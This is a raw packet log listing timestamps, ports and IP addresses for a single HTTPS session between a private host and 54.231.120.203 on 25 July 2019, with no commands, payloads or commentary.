Jul 25, 2019 13:47:06.312370062 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.312386036 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.312416077 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.312517881 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.312580109 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.313553095 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.313586950 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.313618898 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.313664913 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.313863993 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.414701939 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.414763927 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.414797068 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.414815903 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.414834023 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.414869070 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.414891958 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.414916039 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.414933920 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.414952040 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.414969921 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.414983034 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.415640116 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.416071892 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.416124105 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.416155100 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.416244030 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.517469883 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.517479897 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.517499924 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.517540932 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.517571926 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.517599106 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.517621040 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.517626047 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.517666101 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.517700911 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.517733097 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.517749071 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.517765045 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.517848969 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.517932892 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.518327951 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.518371105 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.518407106 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.518444061 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.518517971 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.558219910 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.620026112 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.620065928 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.620086908 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.620107889 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.620131969 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.620155096 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.620193958 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.620219946 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.620229959 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.620254040 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.620302916 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.620321035 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.620327950 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.620352030 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.620532990 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.620642900 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.620668888 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.620690107 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.620738983 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.658324957 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.660984993 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.722565889 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.722596884 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.722637892 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.722698927 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.722707033 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.722712994 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.722718000 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.722785950 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.722791910 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.722815037 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.722830057 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.722845078 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.722860098 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.722873926 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.722894907 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.723150969 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.760667086 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.822221041 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.825148106 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.825200081 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.825232983 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.825256109 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.825373888 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.825613976 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.825644970 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.825669050 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.825685024 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.825700045 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.825731039 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.825741053 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.825747967 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.825758934 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.825776100 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.825790882 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.825798988 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.826016903 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.826086044 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.925040960 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.925081015 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.925329924 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.927552938 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.927562952 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.927630901 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.927650928 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.927675009 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.927767992 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.927788019 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.927807093 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.927823067 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.927840948 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.927844048 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.927988052 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.928044081 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.928092003 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.928128958 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:06.928132057 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.928262949 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.928283930 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:06.929152012 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.027751923 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.027805090 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.028037071 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.029548883 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.029592991 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.029712915 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.029985905 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.030010939 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.030040979 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.030081034 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.030112028 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.030119896 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.030220985 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.030255079 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.030286074 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.030307055 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.030345917 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.030402899 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.031492949 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.031527996 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.031586885 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.031621933 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.031625032 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.031856060 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.130183935 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.130230904 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.130256891 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.130444050 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.131733894 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.131984949 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.132108927 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.132121086 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.132153034 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.132251978 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.132291079 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.132328033 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.132369041 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.132396936 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.132425070 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.132467985 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.132498980 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.132500887 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.133594990 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.133795977 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.133917093 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.133955002 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.133985043 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.134016037 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.134051085 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.175745964 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.232714891 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.232757092 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.232778072 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.233005047 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.234194040 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.234211922 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.234390020 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.234564066 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.234606028 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.234616995 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.234700918 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.234735012 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.234750986 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.234761953 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.234802008 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.234916925 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.236097097 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.236133099 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.236155987 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.236227989 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.236257076 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.236264944 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.236278057 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.236363888 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.278033972 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.278273106 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.335273981 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.335313082 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.335560083 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.336621046 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.336652040 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.336669922 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.336781979 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.336987019 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.337014914 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.337033987 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.337052107 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.337150097 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.337156057 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.337171078 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.337193012 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.337284088 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.338449001 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.338471889 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.338490963 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.338514090 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.338521004 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.338536978 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.338560104 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.338644028 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.380256891 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.418314934 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.438349962 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.438405991 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.438627005 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.439199924 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.439305067 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.439354897 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.439399958 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.439444065 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.439450979 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.439495087 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.439541101 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.439585924 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.439630032 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.439662933 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.439672947 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.439860106 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.440640926 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.440685034 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.440716028 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.440746069 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.440855980 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.440881968 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.440886974 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.441072941 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.520848989 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.520876884 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.521157980 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.540801048 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.540828943 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.541069031 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.541721106 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.541744947 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.541759014 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.541773081 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.541786909 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.541800976 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.541815042 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.541827917 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.541850090 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.541867971 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.541954041 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.543004036 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.543041945 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.543076038 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.543247938 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.543266058 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.543279886 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.543472052 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.623807907 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.623852015 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.624058008 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.643330097 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.643356085 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.643580914 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.644920111 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.644957066 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.644979954 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.645005941 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.645031929 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.645056009 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.645081043 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.645106077 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.645116091 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.645131111 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.645236015 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.645761967 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.645797968 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.645853996 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.645880938 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.645905972 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.645979881 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.646477938 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.646511078 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.646982908 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.726495981 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.726541996 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.726566076 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.726742983 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.745693922 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.745723963 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.745919943 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.747354031 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.747396946 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.747406006 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.747420073 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.747432947 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.747438908 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.747512102 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.747520924 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.747560978 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.747580051 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.747725964 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.748197079 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.748219967 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.748240948 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.748248100 MESZ	443	50056	54.231.120.203	192.168.1.100
